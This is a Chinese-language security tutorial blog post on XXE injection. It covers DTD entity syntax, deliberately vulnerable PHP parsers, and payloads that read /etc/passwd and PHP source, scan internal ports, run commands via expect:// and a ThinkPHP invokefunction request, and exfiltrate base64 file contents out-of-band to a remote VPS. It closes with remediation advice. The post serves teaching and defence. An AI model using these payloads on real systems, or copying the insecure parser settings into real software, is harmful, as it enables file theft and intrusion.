XXE漏洞(原理、挖掘点、漏洞利用、修复建议)

XXE外部实体框架引入

一、DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

0x00. 实体又分为一般实体和参数实体

1. 一般实体的声明语法

<!ENTITY 实体名 "实体内容">
引用实体的方式:&实体名;

2. 参数实体只能在DTD中使用

参数实体的声明格式:<!ENTITY % 实体名 "实体内容">
引用实体的方式:%实体名;

0x01. 实体声明方法

1. 内部实体声明

<!ENTITY 实体名称 "实体的值"> ex:<!ENTITY eviltest "eviltest">

注意和DTD中的元素声明区别
完整实例:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
 
<test>&writer;&copyright;</test>


<?xml version="1.0"?>
<!DOCTYPE t [
<!ENTITY a "aaaa">
<!ENTITY b "bbbb">
]>
<t>&b;</t>

2. 外部实体声明

<!ENTITY 实体名称 SYSTEM "URI">
完整实例:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY a SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&a;&copyright;</author>

二、XXE漏洞demo

有回显XML:
xml.php

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

在请求体构造XML

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Hello world!" >]>

无回显XML:
xml.php

<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

构造请求数据:

三、XXE的攻击与危害(XML External Entity)

0x00. 何为XXE?

答: xxe也就是xml外部实体注入。也就是上文中加粗的那一部分。

0x01. 怎样构建外部实体注入?

方式一:直接通过DTD外部实体声明

XML内容

windows:

<?xml version="1.0"?>
<!DOCTYPE test [
     <!ENTITY ddd SYSTEM "file:///d:/test.txt">
]>

<test>&ddd;</test>

linux:

<?xml version="1.0"?>
<!DOCTYPE test [
     <!ENTITY ddd SYSTEM "file:////etc/passwd">
]>

<test>&ddd;</test>

方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明

XML内容:

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://远程服务器/evil.dtd">
<a>&b;</a>

DTD文件内容:

<!ENTITY b SYSTEM "file://etc/passwd">

0x02. 支持的协议

不同程序支持的协议如下图:

其中php支持的协议会更多一些,但需要一定的扩展支持。

0x03. 产生哪些危害?

XXE利用1:读取任意文件

1.Windows 读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
     <!ENTITY ddd SYSTEM "file:///d:/test.txt">
]>

<test>&ddd;</test>
2.Linux 读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
     <!ENTITY ddd SYSTEM "file:///etc/passwd">
]>

<test>&ddd;</test>
3.读取php源码

通过php协议去读取源码

<?xml version = "1.0"?>

<!DOCTYPE ANY [ 
	<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> 
]> 

<x>&f;</x>

<?xml version="1.0"?>
<!DOCTYPE ddd [
	<!ENTITY o SYSTEM "php://filter/read=convert.base64-encode/resource=xxe_1.php">
]>
<ddd>&o;</ddd>

XXE利用2:内网端口扫描

<?xml version = "1.0"?>

<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:8908" >]> 

<x>&xxe;</x>

通过页面反馈时间长短判断端口开放

反馈长端口关闭,反馈短端口开放。

XXE利用3:远程代码执行

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,就可以尝试执行命令。

<?xml version = "1.0"?>

<!DOCTYPE x [<!ENTITY xxe SYSTEM "expect://whoami" >]> 

<x>&xxe;</x>

XXE利用4:盲打无回显XXE

外部文档类型定义(DTD)文件可被用于触发OOB XXE。攻击者将.dtd文件托管在VPS上,使远程易受攻击的服务器获取该文件并执行其中的恶意命令。

构造payload:

<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://192.168.110.133:8081/test.dtd">
%remote;%int;%send;
]>

VPS(192.168.110.133)中 test.dtd文件内容

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/2.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.110.133:8081/?p=%file;'>">

让我们花点时间了解上述请求的执行流程:
我们从payload中能看到连续待用了三个参数实体%remote;%int;%send;,这就是我们的利用顺序,%remote;先调用,调用后请求远程服务器上的xxe.dtd,有点类似于将xxe.dtd包含进来,然后%int;调用xxe.dtd中的%file;,%file;就会去获取服务器上面的敏感文件,然后将%file;的结果填入到%send;后面(因为实体的值中不能有%,所以将其转换成html实体编码%#37;),我们在调用%send;把我们读取到的数据发送到我们远程VPS上,这样就实现了外带数据的效果,完美解决了XXE无回显的问题。

XXE利用5:攻击内网WEB服务

<?xml version = "1.0"?>

<!DOCTYPE x [
	<!ENTITY xxe SYSTEM "http://192.168.1.136:80/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami" >
]> 

<x>&xxe;</x>

四、XXE漏洞修复

方案一、使用开发语言提供的禁用外部实体的方法

PHP:
libxml_disable_entity_loader(true);
 
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
 
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二、过滤用户提交的XML数据

关键词:
<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

posted @ 2022-06-08 11:43  Saint_Michael  阅读(1949)  评论(0编辑  收藏  举报